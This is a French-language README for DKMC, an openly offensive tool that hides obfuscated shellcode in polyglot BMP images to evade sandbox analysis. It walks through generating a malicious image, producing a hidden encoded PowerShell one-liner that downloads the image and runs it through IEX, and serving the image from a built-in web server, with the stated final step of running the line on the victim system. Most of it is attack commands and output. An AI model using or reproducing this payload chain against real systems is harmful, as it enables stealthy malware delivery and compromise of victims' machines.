mr-un1k0d3r/dkmcDKMC - Dont kill my cat - Outil d'évasion de charge utile malveillante
WINDOWS 10 limite désormais l'exécution correcte des charges utiles shellcode en raison du besoin d'une page RWX pour décoder et exécuter le shellcode. DKMC peut mettre à jour la définition d'une page mémoire avec les autorisations appropriées.
Ne tuez pas mon chat est un outil qui génère du shellcode obfusqué stocké à l'intérieur d'images polyglottes. L'image est 100% valide et également 100% valide en tant que shellcode. L'idée est d'éviter l'analyse en sandbox car il s'agit d'une simple image « légitime ». Pour l'instant, l'outil repose sur PowerShell pour exécuter la charge utile finale du shellcode.
Pourquoi s'appelle-t-il « Ne tuez pas mon chat » ? Comme je suis nul pour trouver des noms d'outils, j'ai décidé de m'appuyer sur le fait que l'image BMP par défaut est un chat pour nommer l'outil.
Une présentation du fonctionnement interne est disponible ici : https://github.com/Mr-Un1k0d3r/DKMC/blob/master/DKMC%20presentation%202017.pdf
$ git clone https://github.com/Mr-Un1k0d3r/DKMC
$ cd DKMC
$ mkdir output
Lancement de DKMC
$ python dkmc.py
DKMC - Don't kill my cat
Evasion tool - Mr.Un1k0d3r RingZer0 Team
|\ _,,,---,,_
/,`.-'`' -. ;-;;,_
|,4- ) )-,_..;\ ( `'-'
'---''(_/--' `-'\_) The sleepy cat
----------------------------------------------------
Select an option:
[*] (gen) Generate a malicious BMP image
[*] (web) Start a web server and deliver malicious image
[*] (ps) Generate Powershell payload
[*] (sc) Generate shellcode from raw file
[*] (exit) Quit the application
>>>
Générer un shellcode à partir d'un fichier raw
>>> sc
(shellcode)>>> set source shellcode.txt
[+] source value is set.
(shellcode)>>> run
[+] Shellcode:
\x41\x41\x41\x41
Générer le shellcode obfusqué intégré dans une image.
>>> gen
(generate)>>> set shellcode \x41\x41\x41\x41
[+] shellcode value is set.
(generate)>>> run
[+] Image size is 300 x 275
[+] Generating obfuscation key 0x1f1dad93
[+] Shellcode size 0x4 (4) bytes
[+] Generating magic bytes 0xa4d0c752
[+] Final shellcode length is 0x57 (87) bytes
[+] New BMP header set to 0x424de9a4c60300
[+] New height is 0x0e010000 (270)
[+] Successfully save the image. (/home/ringzer0/tools/DKMC/output/output-1496175261.bmp)
(generate)>>>
Générer la charge utile PowerShell à exécuter sur le système victime.
>>> ps
(powershell)>>> set url http://127.0.0.1:8080/output-1496175261.bmp
[+] url value is set.
(powershell)>>> run
[+] Powershell script:
powershell.exe -nop -w hidden -enc JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBDAEYAVABUAEwAVgBrAEMALwB6AEUAMABPAFQAWQB4AE4AegBVADAATgBEAFEAdQBNAGoAVQAhAHQAVgBaAHIAYgA5AHAASQBGAFAAMABlAEsAZgA5AGgAVgBDAEgAWgBsAG8AdwBMAFMAYgBmAE4AUgBxAHAAVQBuAG4AbQAwAEUASQBKAEoAMABvAFMAaQBhAHIAIQB2AE0ARwBIAHMATQBUAE4AagBFAHIAZgBOAGYAOQA5AHIAWQB6AGQARQBrAEcAeAAyAHQAVwBzACsAWQBIAHYAdQAzAEwAbAB6AHoAcgBuAEgANAA0AEkAdQB1ADEAbwB5AFQAMwBlAEUARAA2AFIAOABDAFYASQB4AEUAWgBLADkAMwBaADMAZABuAFoASwAvAGIASAA4AEYANQBRAHMALwBjAFAAWABGAFAASQBDADcAZQBmACsAbwBkADAANAArAGsAawAvAEcANwBzADQAawBEAGoAMgBkAHgAbAA3ADIANQB2AGYAWAB2AFQAYgA1AHUAYgB0AEQAOABxAHQASABKAFEAMgBJAFcAVgBwAFMAKwBUADAAUQBmAHMAegBCAEoAdABsAEQASgBJAFUASABmAGkAegBCAGUAZwB3AHUATABTADQARwA3AGMAKwBZADEAUgB6AFcAbwBxAGcAcAAhAHMAcgBDADAAZQBGAGgASQA1AFkAUwBRAHIAMQA2AGQAbwA1ACEAMQA1AFMAQwBZAE0AdwBaAEsATgBNAGkAdgA4AGoAVgBEAEMAUwBVAHoAOABhADMANABHAG4AeQBrADUAUwArAE8AMABkAGMAagBDAG4AUAB3ADUASQBHADkAVwBhADQAbwAxAHIAbwBwADIATgBmAGgARQBmAFQAYQBoADAAMwA0AGsAeQBiAHgAcgBkAHYAaABqAFUAcwBWADAAZABPAGEAeABGAFQAcgBrAHoARABUAFoAUwBHAHcAUABFADUATgB5AHoAeQBZAEsAVQBMAEQAcABJAEkAVABLAFAARABQAEMAbQBVAG0ARwBqAG4AaQBvAFgANwBlADgANQBGAHEATwBnAEUAdQBwAGgAdABDAFIAMwBRAE0AKwBFAHIAdwAwAHIAaABLAHYAWQBqAFEAYwBjAHkAegBMAGUAVgA1AGwAbABGAG0AUQBiAGUAOQBuAEQALwBOAGQAKwBYAG8ASABDAFMAYwB4AEkAdQB4AFIAegBNAFUAaABoAHoAYgBwAE4AUAA1AGoAIQB2AG8AaAArAEgAbQBnAFcAIQA0AHgAcQBrAGkARgB5AFEAUwArAGEAQgBjAG8ANQBwADYASABQAG8AdwAyAFIAawBkAHUARwB1ADIAUAB0AHIASgA1AG4AcgBrAHoAQwBxAHAANgBWAGwASQAwAG4AYgA2AHUAeABrAHAASwAyAG0ARwB0AFoAbQBwAFcAdgBNAFcAbgBoAHQAcwBJAHUAIQBQAEsAUwBZAC8AQgBiAEoAZgBMAEgAbwBSAC8AVwBsAFkAdQBGAFIAdQBFAFUAcABqAHkAKwBLAGEANQBpAE4AIQBPADcARgA3ACEAbgBGAHMAaQBRAGYAUwBjAFUAbQBIAFMAeQBLAGEAaQBFAFQAZgBDAHcATgBaACEAegBXAGkAIQB4AFQAcQBvAGEAagBFAFMAbABCAGYAQwA0AG4AOAA2AGIAbwBkADQASwBwAGwAOQBSAG8AYgBMADgAMgBkAGIAWABJAGcAMQBuAEcANAArAG4AMAA3AFAAagBIAFkARABZAE4ARgBxADAAegBIAEIAeABlAEMAdQBhAFAASABsAE0AOQBJAGIAegBVAHYAagBtACsAZwBMAG8ATwB1AEMALwBiAFgAWAA0ADAAVABpAGMAOABMACsAVQBtAFQARgBnAEkAegBTAFMAawAhAGYATQBLAHQAWgByAGIARwBJAFUASgBoAHcAdwArAHAAdwBqAHIAWQB0ADIAbQBrAFEAKwAhADMAdwBRAE8AVQA2AHAAVABpAG0AdwB5ADMASgB6AFcAQwBwAGoAKwBQAGIAYwBlAE0AKwA2AEQAcgBIAG0AbwBDAG8AVgBWAG8AVwBDAHMAcAA4AFcAcwBXAEQAZQBOAGsANwAhAEQAIQBTAEsAOABlAGoAYQBRADMAUQBuADIAQwBCAFQAUgBlAFYAOABrAHgAZQByAHAATQB3AFkAWgBEAFUANgBWAHMAawBrAHYAeABpAGIAMQBiAE8ASQBDADUAZQBEAGIAcABCAFkAcQBsAGcALwBWAFkAaQAyAHkAVwArAE8AeAAzAEUANwBNAE4AZgBPAG8AMABrAFcANgBrAGYAVQBDAHQASABrAEoARABSAEUAcQBMAFcATQBQAGQAWQBCAHcARABOAHcASQBQAEUAWgA1AGkAbwA1AE4AagBwAGsAUAA5AGMAUgBsADAANgBJAFUAWQB5AHMAMgBEAGMAbwA1AEMANgBlAFkAYQBZAG4AYwA0AEoAcwBVAEUAMQBlAG4ANgBwAEoAWQA5AGEAYQBTAEwATQBjAEYAZgBSAEoARQBIACEASwBjAGsATABsAEoAbQA5AE0AcABlAGsAZgBlAGUAcABrADIANgBSAFIAOAA0AHgAVQA3AEsASgBwAHQAMQBWAGsAcABmACEAVgB1AGEALwBXAGoASgBsAHcAdQB0AEUAMAB1AG0AZABUAG8AVQB5AGsAVgBUADcAWAA1ADMAeABWAGEAMgBOAFoARwB2AFEAMABKAE8AYwBsAG0AMABkAGIARABlAHEATABUAGYAaQB2AEYAQwBYAEIAKwBmAG4AWQBSAFgAWQBlADMAbAAxAGUAZABtADMANgBYAHoAZwBhADMAawBVADcAZABmAEYAUABRAFgAVQAhAFQAaABYAEUARABQAFQAegBVAHEAQwBaAHgARgAzAEoAQgAvAFMAYgBWADEASAB3AHoAMAB6AG8ANgBmAFAAdQAyAHUAdgBmAEIAcQBlAEMAdgBlAG4AaABRAE8AYQBpADgARgBiAEcATwBZAGwAMgB1AHYAdgB2AHoAZgBmAFgARABIADMAdgB2AHEAOAA0ADQAaQBOADUAawA3AFYAZgA2ACsAaQBOAGEAcQBMADUAcQBpAGQAbABpAGUAagBvAC8AdgBiADYAZQB6AEQANgBQAGsANQBPAGIAdABQADMAKwB4AGgAUQA3AFYASwBvAFoANQBjAGcANABtAGwAMABoAHYATABhAFEANwBkAHkAdgBlAG8ASwBsAE0AMAB5AHoAKwBMAGoATgBRAFkAYgAhADAAZgA3AHgAIQAxAEcAdwBVAGUATgBjAGUASwBtAEYAUABqAEUAMwB0AFAARwBWAHUAWQA1AFEAZABoAGQANAB1ADcAKwAzADkAYwA0AGkAdgB3AE8AdABSADQAYwB0AFgAaAAwAGUAMwBtAEQAQgB5AE8ANQB6AEMARAB0AGYASQBKAHoAcQBtAFYAMgA1ADMANgA5AFUAMABCAFkAcgA5ACsAOABxAEMATQB2AHIATgA5ADQAUQBVAFcASQArAG0AOQA1AE8AcgBmAFoAWgBoAEYAKwBxAGkAMgBkADEAcgBSAGgAYQAwAHYANQA5ADcAZQBZADYAawBkAEQAcwA5AGkANAA3AHIAVgBiAGMAOQBPAGIALwBPAHoAMgA1AFkARwBmADQANQA3ACsAVwBuAHMAZAAzAEwANAB5ACsAaQByAEsASwAvAFQAeABzAEcANgBGAFAAWAAvAHcAagAvAHYANABOAE0AbABlAFUAYQBRAHgAMgAwAGYAYwA0AHIASAByAHoAWgBZAEIAeQBxAGEANgBkACEATABaAFMAaQBpAHEAYwA1AEYAZAA2AE4ARAB2AEQAagB1ADMAaQBTAFcARgAzAHgALwBpAFUANgB1AEIAawBRAHQAWgBRAFUAdQB3AEgAbgBzAHQAZwBRAFEANgBzADkAWgBPACEAMABsAFQAcQA4AHEAMABZADQAMgBFAHUAUwBqAC8AUQB1AEYAWQByADYAcAArADEANQAwAGUAdAB3AFQASwB1ADkAOAArAEQAZgBxAHQAdQBrAFoAUABXAFYANwBKAHQAaABEAHkAUQBNAHEASgBXAFUALwB0ADcAZQBPAHEAVAAwAHoAZwAxAFAALwBMAGMARwBmAFkAWAB1AFUATQBzAHMAdQBWACsAawBUADUANABnAEsAZQA1ADgAcQBrAFkAWgB3AFkASAArAEwARgBiAEwAeQAxAGIAYwBuAHMAaQBqAFAAOABMAHAAegBWADkAdABFAFEATAAhACEAIQA9ACIALgBSAGUAcABsAGEAYwBlACgAIgAhACIALAAgACIAQQAiACkAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA
(powershell)>>>
Serveur Web intégré pour distribuer l'image
>>> web
(web)>>> set port 8080
[+] port value is set.
(web)>>> run
[+] Starting web server on port 8080
127.0.0.1 - - [30/May/2017 16:18:43] "GET /output-1496175261.bmp HTTP/1.1" 200 -
La dernière étape nécessite d'exécuter l'une ligne PowerShell sur le système victime.
Prendre en charge davantage de formats de fichiers.
Mr.Un1k0d3r RingZer0 Team 2016